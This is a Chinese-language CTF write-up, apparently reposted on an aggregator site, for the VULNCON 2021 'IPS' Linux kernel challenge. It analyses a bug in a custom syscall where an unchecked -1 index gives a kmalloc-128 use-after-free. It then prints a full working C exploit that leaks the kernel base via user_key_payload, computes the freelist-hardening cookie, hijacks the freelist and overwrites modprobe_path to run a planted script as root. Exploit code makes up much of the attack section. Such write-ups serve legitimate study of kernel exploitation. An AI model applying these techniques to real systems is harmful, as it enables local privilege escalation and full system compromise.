VULNCON CTF 2021 -- IPS

2024-05-09 23:36
文章标签 ctf 2021 ips vulncon

本文主要是介绍VULNCON CTF 2021 -- IPS,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

前言

这个题目折磨了我接近一天,服气了,题目不算难,但是利用写得的疯掉了~~~

然后这个题目跟之前的不同,之前的题目都是实现一个内核模块,而这个题目是直接实现了一个系统调用(:所以这里不存在一些条件竞争的漏洞

题目分析

  • 内核版本 v5.14.16
  • smap/smep/kpti/kaslr 全开
  • 设置了 CONFIG_SLAB_FREELIST_HARDENED/RANDOM 编译选项,但是没有 cg 隔离
  • modprobe_path 可劫持

题目给了源码:

#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <linux/module.h>
#include <linux/string.h>
#include <linux/fdtable.h>#ifndef __NR_IPS
#define __NR_IPS 548
#endif#define MAX 16typedef struct {int idx;unsigned short priority;char *data;
} userdata;typedef struct {void *next;int idx;unsigned short priority;char data[114];
} chunk;chunk *chunks[MAX] = {NULL};
int last_allocated_idx = -1;int get_idx(void) {int i;for(i = 0; i < MAX; i++) {if(chunks[i] == NULL) {return i;}}return -1;
}int check_idx(int idx) {if(idx < 0 || idx >= MAX) return -1;return idx;
}int remove_linked_list(int idx) {int i;for(i = 0; i < MAX; i++) {if(i == idx) continue;if(chunks[i]->next == chunks[idx]) {chunks[i]->next = chunks[idx]->next;break;}}return 0;
}int alloc_storage(unsigned int priority, char *data) {int idx = get_idx();if((idx = check_idx(idx)) < 0) return -1;chunks[idx] = kmalloc(sizeof(chunk), GFP_KERNEL);if(last_allocated_idx >= 0 && !(chunks[last_allocated_idx]->next)) {chunks[last_allocated_idx]->next = chunks[idx];}chunks[idx]->next = NULL;chunks[idx]->idx = idx;chunks[idx]->priority = priority;memcpy(chunks[idx]->data, data, strlen(data));last_allocated_idx = idx;return idx;
}int remove_storage(int idx) {if((idx = check_idx(idx)) < 0) return -1;if(chunks[idx] == NULL) return -1;int i;for(i = 0; i < MAX; i++) {if(i != idx && chunks[i] == chunks[idx]) { // 删除了所有引用chunks[i] = NULL;}}kfree(chunks[idx]);chunks[idx] = NULL;return 0;
}int edit_storage(int idx, char *data) {if((idx = check_idx(idx)) < 0); // 这里 idx 如果是非法的并没有 return,而是继续向下执行,所以这里的检查其实没用if(chunks[idx] == NULL) return -1;// 这里可能存在越界memcpy(chunks[idx]->data, data, strlen(data));return 0;
}int copy_storage(int idx) {if((idx = check_idx(idx)) < 0) return -1;if(chunks[idx] == NULL) return -1;int target_idx = get_idx(); // 没有对 target_idx 进行合法性检查,target_idx 可能是 -1chunks[target_idx] = chunks[idx];return target_idx;
}SYSCALL_DEFINE2(ips, int, choice, userdata *, udata) {char data[114] = {0};if(udata->data && strlen(udata->data) < 115) {if(copy_from_user(data, udata->data, strlen(udata->data))) return -1;}switch(choice) {case 1: return alloc_storage(udata->priority, data);case 2: return remove_storage(udata->idx);case 3: return edit_storage(udata->idx, data);case 4: return copy_storage(udata->idx);default: return -1;}
}

可以看到,代码主要实现了 __NR_IPS 系统调用,共 4 个功能,实现了堆块的增、删、复制、改。这里一开始就感觉 copy 存在问题,因为这里只是单纯的复制了指针,如果在释放堆块时没有正确处理则会导致 UAF,但是查看 remove 代码可以发现,在删除一个堆块时,会清空所有对其的引用,所有这里也就自然不存在相关漏洞

但是仔细观察,可以发现 copy 中确实存在一个漏洞,当 chunks 数组满时,如果此时调用 copy,这里的 get_idx 函数会因为找不到合适的位置而返回 -1,但是这里却没用对 target_idx 进行合法性检测,从而导致了数组越界(:往上溢出 1 [8 bytes]

然后看 remove 函数,其只检测 [0, MAX) 中的索引,所以这里 -1 就被排除在外了,所以可以利用其来构造一个 UAF

这里单纯一个 UAF 还构不成太大的问题,但是在 edit 中存在同样的问题,对于传入的 idx,如果其不合法,则应该直接返回,但是 edit 仍然利用其进行写入:

int edit_storage(int idx, char *data) {// 这里 idx 如果是非法的并没有 return,而是继续向下执行,所以这里的 idx 可能为 -1if((idx = check_idx(idx)) < 0); if(chunks[idx] == NULL) return -1;memcpy(chunks[idx]->data, data, strlen(data));return 0;
}

可以看到这里仅仅是判断是否合法,但是没有做出相应的反应,所以这里就可以对释放的堆块进行写入了,所以这里我们获得了一个强大的原语:kmalloc-128 UAF,可进行写入

漏洞利用

构造越界读
由于开启了 kaslr,所以第一步得泄漏 kbase,这里由于没开启 cg 隔离,所以比较简单,kmalloc-128 可以利用 msg_msg 或者 user_key_payload 去进行越界读(:msg_msg 还可以实现任意地址读,但是笔者喜欢用 user_key_payload,思路如下:

  • add 16 次,使得 chunks 被占满
  • copy(idx),使得 chunks[-1] = chunks[idx]
  • dele(idx) 释放 chunks[idx],由于 dele 只会检查 [0, 16) 之间的索引,所以 chunks[-1] 被保留,这里堆块记作 UAF chunk
  • 申请 user_key_payload 占据 UAF chunk
  • 利用 edit(-1) 修改 UAF chunk 即修改 user_key_payload,此时就可以把 user_key_payloaddatalen 改大从而实现越界读(:后面泄漏 kbase 就比较简单了,可以先提前堆块一些 user_key_payloadrevoke

思路一:USMA
泄漏完 kbase,笔者的第一想法就是 USMA,因为这里 UAF chunk 是可以被写入的,这里思路如下:

  • 释放掉 user_key_payloadUAF chunk
  • 申请 pgv 占据 UAF chunk
  • 利用 edit(-1) 修改 UAF chunk 即修改 pgv 即可进行 USMA

但是测试发现没有相关 cap,于是无法创建新的 namespace,所以这个思路就放弃了

思路二:劫持 freelist
然后第二个思路就是去劫持 freelist 实现任意地址分配了,这里思路如下:

  • 释放掉 user_key_payloadUAF chunk
  • 利用 edit(-1) 修改 UAF chunknext 指针从而劫持 freelist

这里来探索下该思路的可行性,首先,edit(-1) 只能修改 ptr + 8 + 6 之后的内存,但是这里调试发现 kmalloc-128offset0x40,所以这里是可以覆写到 next 域的

然后就是去绕过 CONFIG_SLAB_FREELIST_HARDENED 了,而且这里的异或加密还做了加强:ptr_addr 会进行字节翻转后才进行异或,所以这里仅仅靠越界读是无法泄漏 cookie

所以这里想要泄漏 cookie 需要泄漏两个堆地址和其与 cookie 的异或加密值(其实就是最原始的泄漏方法,xor_val = swap(chunk1+0x40) ^ cookie ^ chunk2,所以我们去泄漏 xor_val/chunk1/chunk2,这样就可以泄漏 cookie 了)

这里就得利用 chunk 结构体上的 next 指针了,我们在构造越界读时,可以通过堆风水(单纯申请就行了,就是成功率低一些,但是省事啊)把 chunk 也布置在 user_key_payload 的下方,这里通过越界读就可以泄漏每个 chunknext 值,这里就相当于泄漏的堆地址,并且可以通过 idx 确定当前 next 是哪一个 chunk 的地址,比如 chunk[idx]->next = chunk[idx+1],那如何确定 chunk[-1] 也就是 UAF chunk 的地址呢?其实也简单,越界读是连续的,所以通过某个 chunk[idx] 距离读取起始地址的偏移即可确定 chunk[-1] 的地址

这里假设泄漏了 chunk[i]、chunk[j] 的地址,那么后续利用如下:

  • 释放 chunk[i] chunk[j] 此时 freelist->chunk[j]->chun[i]
  • 利用越界读泄漏 xor_val,然后就可以计算出 cookie
  • 释放掉 user_key_payloadUAF chunk
  • 利用 edit(-1) 修改 UAF chunknext 指针为 cookie ^ swap(chunk[-1]+0x40) ^ (modprobe_path+offset)
    • 这里 modprobe_path 存在 offset 是因为如果你后面利用 chunk 结构占据堆块的话,只能从 +8+6 位置开始写;如果用 user_key_payload 占据的话,只能从 +0x18 位置开始写
  • 然后连续两次申请即可申请到 modprobe_path 附近的内存,然后就可以修改 modprobe_path

最后 exploit 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>void err_exit(char *msg)
{perror(msg);sleep(1);exit(EXIT_FAILURE);
}void fail_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(1);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}#ifndef __NR_IPS
#define __NR_IPS 548
#endiftypedef struct {int idx;unsigned short priority;char *data;
} userdata;typedef struct {uint64_t next;int idx;unsigned short priority;char data[114];
} chunk;void add(char* data) {userdata n = { .data = data };if (syscall(__NR_IPS, 1, &n) < 0)err_exit("add");
}void dele(int idx) {userdata n = { .idx = idx };syscall(__NR_IPS, 2, &n);
}void edit(int idx, char* data) {userdata n = { .idx = idx, .data = data };if (syscall(__NR_IPS, 3, &n)) err_exit("deit");
}void copy(int idx) {userdata n = { .idx = idx };syscall(__NR_IPS, 4, &n);
}int key_alloc(char *description, char *payload, size_t plen)
{return syscall(__NR_add_key, "user", description, payload, plen,KEY_SPEC_PROCESS_KEYRING);
}int key_update(int keyid, char *payload, size_t plen)
{return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}int key_read(int keyid, char *buffer, size_t buflen)
{return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}int key_revoke(int keyid)
{return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}int key_unlink(int keyid)
{return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}typedef unsigned long long __u64;#define swap64(x) ((__u64)(                             \(((__u64)(x) & (__u64)0x00000000000000ffULL) << 56) |   \(((__u64)(x) & (__u64)0x000000000000ff00ULL) << 40) |   \(((__u64)(x) & (__u64)0x0000000000ff0000ULL) << 24) |   \(((__u64)(x) & (__u64)0x00000000ff000000ULL) <<  8) |   \(((__u64)(x) & (__u64)0x000000ff00000000ULL) >>  8) |   \(((__u64)(x) & (__u64)0x0000ff0000000000ULL) >> 24) |   \(((__u64)(x) & (__u64)0x00ff000000000000ULL) >> 40) |   \(((__u64)(x) & (__u64)0xff00000000000000ULL) >> 56)))void get_flag() {system("echo -ne '#!/bin/sh\n/bin/cp /root/flag.txt /home/user/flag.txt\n/bin/chmod 777 /home/user/flag.txt' > /home/user/x");system("chmod +x /home/user/x");system("echo -ne '\\xff\\xff\\xff\\xff' > /home/user/dummy");system("chmod +x /home/user/dummy");system("/home/user/dummy");sleep(0.3);system("cat /home/user/flag.txt");
}int main(int argc, char** argv, char** envp)
{bind_core(0);int res;char desc[0x20] = { 0 };char buf[0x10000] = { 0 };uint64_t kbase = 0xffffffff81000000;uint64_t koffset = -1;uint64_t user_free_payload_rcu = 0xffffffff8137c190;for (int i = 0; i < 16; i++) {memset(buf, 'A'+i, 0x20);add(buf);}copy(8);dele(8);sprintf(desc, "%s", "XiaozaYa");int key_id = key_alloc(desc, buf, 80);if (key_id < 0) err_exit("key_alloc");memset(buf, '\xf0', 8);edit(-1, buf);res = key_read(key_id, buf, 0xff00);if (res < 0x1000) fail_exit("failed to overwrite datalen");for (int i = 0; i < 15; i++) {if (i != 8) dele(i);}#define SPRAY_KEY_NUMS 16int keys[SPRAY_KEY_NUMS];for (int i = 0; i < SPRAY_KEY_NUMS; i++) {sprintf(desc, "%s%d", "XiaozaYa", i);keys[i] = key_alloc(desc, buf, 80);if (keys[i] < 0) err_exit("key_alloc");}for (int i = 0; i < SPRAY_KEY_NUMS; i++) {key_revoke(keys[i]);}res = key_read(key_id, buf, 0xff00);for (int i = 0; i < res / 8; i++) {uint64_t val = *(uint64_t*)(buf + i*8);if ((val&0xfff) == 0x190 && val > 0xffffffff81000000 && ((val>>32)&0xffffffff) == 0xffffffff) {koffset = val - user_free_payload_rcu;kbase += koffset;break;}}if (koffset == -1) fail_exit("failed to bypass kaslr");uint64_t modprobe_path = 0xffffffff8244fa20 + koffset;printf("[+] koffset: %#llx\n", koffset);printf("[+] kbase: %#llx\n", kbase);printf("[+] modprobea_path: %#llx\n", modprobe_path);memset(buf, 0, sizeof(buf));for (int i = 0; i < 15; i++) {userdata n = { .data = buf, .priority = 'A'+i };syscall(__NR_IPS, 1, &n);}res = key_read(key_id, buf, 0xff00);
//      binary_dump("LEAK DATA", buf+128-0x18, 128 * 20);chunk* h = NULL;int nums = 0;uint64_t addrs[16] = { 0 };uint64_t offsets[16];for (int i = 0; i < 16; i++) offsets[i] = -1;for (uint64_t i = 0; i < (res - 128 + 0x18) / 128; i++) {h = (buf+128-0x18) + i * 128;if (h->next > 0xffff000000000000 && (h->next&0xffff000000000000) == 0xffff000000000000 && (h->idx + 'A') == h->priority) {if (h->idx == 15) {addrs[0] = h->next;} else {addrs[h->idx+1] = h->next;}offsets[h->idx] = i;}}#define IDX 0#define ADDR 1#define OFFSET 2uint64_t map[16][3];for (int i = 0; i < 16; i++) {if (addrs[i] && offsets[i] != -1) {printf("[---offset %03x---] %02d => %#llx\n", offsets[i], i, addrs[i]);map[nums][IDX] = i;map[nums][ADDR] = addrs[i];map[nums][OFFSET] = offsets[i];nums++;}}printf("[+] hit counts: %d\n", nums);if (nums < 2) fail_exit("failed to hit");uint64_t evil_chunk = map[0][ADDR] - map[0][OFFSET] * 128 - 128;printf("[+] evil_chunk: %#llx\n", evil_chunk);dele(map[0][IDX]);dele(map[1][IDX]);res = key_read(key_id, buf, 0xff00);uint64_t xor_val0 = *(uint64_t*)(buf+128-0x18+128*map[0][OFFSET]+0x40);uint64_t xor_val1 = *(uint64_t*)(buf+128-0x18+128*map[1][OFFSET]+0x40);printf("[+] xor_val0: %#llx\n", xor_val0);printf("[+] xor_val1: %#llx\n", xor_val1);uint64_t cookie = map[0][ADDR] ^ swap64((map[1][ADDR]+0x40)) ^ xor_val1;printf("[+] cookie: %#llx\n", cookie);memset(buf, '\x00', 0x100);memset(buf, 'A', 0x32);buf[0] = '\xff';buf[1] = '\xff';*(uint64_t*)(buf+0x32) = (modprobe_path-8-6) ^ cookie ^ swap64((evil_chunk+0x40));printf("[+] evil freelist: %#llx\n", *(uint64_t*)(buf+0x32));printf("[+] data len: %x\n", strlen(buf));key_revoke(key_id);
//      key_unlink(key_id);
//      edit(-1, buf);
//      edit(-1, buf);getchar(); // <=================== 不要删除,不然利用失败edit(-1, buf);memset(buf, '\x00', 0x100);strcpy(buf, "/home/user/x");for (int i = 0; i < 2; i++) {add(buf);}get_flag();
//      puts("[+] debug");
//      getchar();puts("[+] EXP NERVER END");return 0;
}

效果如下:
在这里插入图片描述

存在的问题

首先就是成功率不是很高啦,这个从我的 exploit 就可以看出,笔者并没有优化相关的堆风水,整个堆布局的构建都很简单粗暴,所以成功率低可以理解

关键的问题是可以看到我 exploit 中在修改 chunk[-1]next 时,在前面加上了一个 getchar(),这个 getchar() 不是随意加的,因为笔者测试发现删除该 getchar() 则导致 edit(-1, buf) 写入失败。但是在调试的时候不加又是可以成功写入的,直接运行不加则会导致写入失败:
在这里插入图片描述

这篇关于VULNCON CTF 2021 -- IPS的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/974804

相关文章

GPU 计算 CMPS224 2021 学习笔记 02

并行类型 (1)任务并行 (2)数据并行 CPU & GPU CPU和GPU拥有相互独立的内存空间,需要在两者之间相互传输数据。 (1)分配GPU内存 (2)将CPU上的数据复制到GPU上 (3)在GPU上对数据进行计算操作 (4)将计算结果从GPU复制到CPU上 (5)释放GPU内存 CUDA内存管理API (1)分配内存 cudaErro

2021-8-14 react笔记-2 创建组件 基本用法

1、目录解析 public中的index.html为入口文件 src目录中文件很乱,先整理文件夹。 新建components 放组件 新建assets放资源   ->/images      ->/css 把乱的文件放进去  修改App.js 根组件和index.js入口文件中的引入路径 2、新建组件 在components文件夹中新建[Name].js文件 //组件名首字母大写

2021-08-14 react笔记-1 安装、环境搭建、创建项目

1、环境 1、安装nodejs 2.安装react脚手架工具 //  cnpm install -g create-react-app 全局安装 2、创建项目 create-react-app [项目名称] 3、运行项目 npm strat  //cd到项目文件夹    进入这个页面  代表运行成功  4、打包 npm run build

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

[SWPUCTF 2021 新生赛]web方向(一到六题) 解题思路,实操解析,解题软件使用,解题方法教程

题目来源 NSSCTF | 在线CTF平台因为热爱,所以长远!NSSCTF平台秉承着开放、自由、共享的精神,欢迎每一个CTFer使用。https://www.nssctf.cn/problem   [SWPUCTF 2021 新生赛]gift_F12 这个题目简单打开后是一个网页  我们一般按F12或者是右键查看源代码。接着我们点击ctrl+f后快速查找,根据题目给的格式我们搜索c

【面试个人成长】2021年过半,社招和校招的经验之谈

点击上方蓝色字体,选择“设为星标” 回复”资源“获取更多资源 长话短说。 今天有点晚,因为一些事情耽误了,文章发出来有些晚。 周末的时候和一个知识星球的读者1对1指导了一些应届生的学习路径和简历准备。 因为马上就要秋招了,有些公司的提前批已经启动。2021年已经过半了,各位。时间真是太快了。 正好周末抽了一点时间看之前买的关于面试的电子书,针对校招和社招的面试准备和需要注意的点在啰嗦几句。 校

【硬刚大数据之面试篇】2021年从零到大数据专家面试篇之Spark篇

欢迎关注博客主页:https://blog.csdn.net/u013411339 欢迎点赞、收藏、留言 ,欢迎留言交流! 本文由【王知无】原创,首发于 CSDN博客! 本文首发CSDN论坛,未经过官方和本人允许,严禁转载! 本文是对《【硬刚大数据之学习路线篇】2021年从零到大数据专家的学习指南(全面升级版)》的面试部分补充。 硬刚大数据系列文章链接: 2021年从零到大数据专家的

【硬刚大数据之面试篇】2021年从零到大数据专家面试篇之消息队列篇

📢欢迎关注博客主页:https://blog.csdn.net/u013411339 📢欢迎点赞 👍 收藏 ⭐留言 📝 ,欢迎留言交流! 📢本文由【王知无】原创,首发于 CSDN博客! 📢本文首发CSDN论坛,未经过官方和本人允许,严禁转载! 本文是对《【硬刚大数据之学习路线篇】2021年从零到大数据专家的学习指南(全面升级版)》的面试部分补充。 硬刚大数据系列文章链接:

【硬刚大数据之面试篇】2021年从零到大数据专家面试篇之SparkSQL篇

📢欢迎关注博客主页:https://blog.csdn.net/u013411339 📢欢迎点赞 👍 收藏 ⭐留言 📝 ,欢迎留言交流! 📢本文由【王知无】原创,首发于 CSDN博客! 📢本文首发CSDN论坛,未经过官方和本人允许,严禁转载! 本文是对《【硬刚大数据之学习路线篇】2021年从零到大数据专家的学习指南(全面升级版)》的面试部分补充。 硬刚大数据系列文章链接:

【硬刚大数据之面试篇】2021年从零到大数据专家面试篇之Hadoop/HDFS/Yarn篇

📢欢迎关注博客主页:https://blog.csdn.net/u013411339 📢欢迎点赞 👍 收藏 ⭐留言 📝 ,欢迎留言交流! 📢本文由【王知无】原创,首发于 CSDN博客! 📢本文首发CSDN论坛,未经过官方和本人允许,严禁转载! 本文是对《【硬刚大数据之学习路线篇】2021年从零到大数据专家的学习指南(全面升级版)》的面试部分补充。 硬刚大数据系列文章链接: